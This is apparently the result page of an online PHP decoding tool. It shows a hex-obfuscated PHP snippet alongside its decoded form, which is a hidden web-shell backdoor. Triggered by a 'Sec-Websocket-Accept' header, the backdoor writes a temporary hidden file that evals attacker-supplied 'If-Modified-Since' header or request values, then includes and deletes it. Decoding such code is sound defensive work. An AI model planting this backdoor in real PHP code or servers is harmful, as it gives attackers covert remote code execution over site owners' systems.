Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$_HEADERS = getallheaders();if(isset($_HEADERS['Sec-Websocket-Accept'])){$c="<\x3f\x70h\x..
Decoded Output download
<? $_HEADERS = getallheaders();if(isset($_HEADERS['Sec-Websocket-Accept'])){$c="<?php @eval($_HEADERS["If-Modified-Since"]);@eval($_REQUEST[\"If-Modified-Since\"]);";$f='/tmp/.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);} ?>
Did this file decode correctly?
Original Code
$_HEADERS = getallheaders();if(isset($_HEADERS['Sec-Websocket-Accept'])){$c="<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x48E\x41\x44E\x52\x53[\x22\x49f\x2d\x4do\x64\x69f\x69\x65d\x2d\x53i\x6e\x63e\x22\x5d)\x3b\x40e\x76\x61l\x28\x24_\x52\x45Q\x55\x45S\x54\x5b\"\x49\x66-\x4d\x6fd\x69\x66i\x65\x64-\x53\x69n\x63\x65\"\x5d\x29;";$f='/tmp/.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);}
Function Calls
getallheaders | 1 |
Stats
MD5 | 3fbbd260336a5d5a86a4b2254cc0ac89 |
Eval Count | 0 |
Decode Time | 35 ms |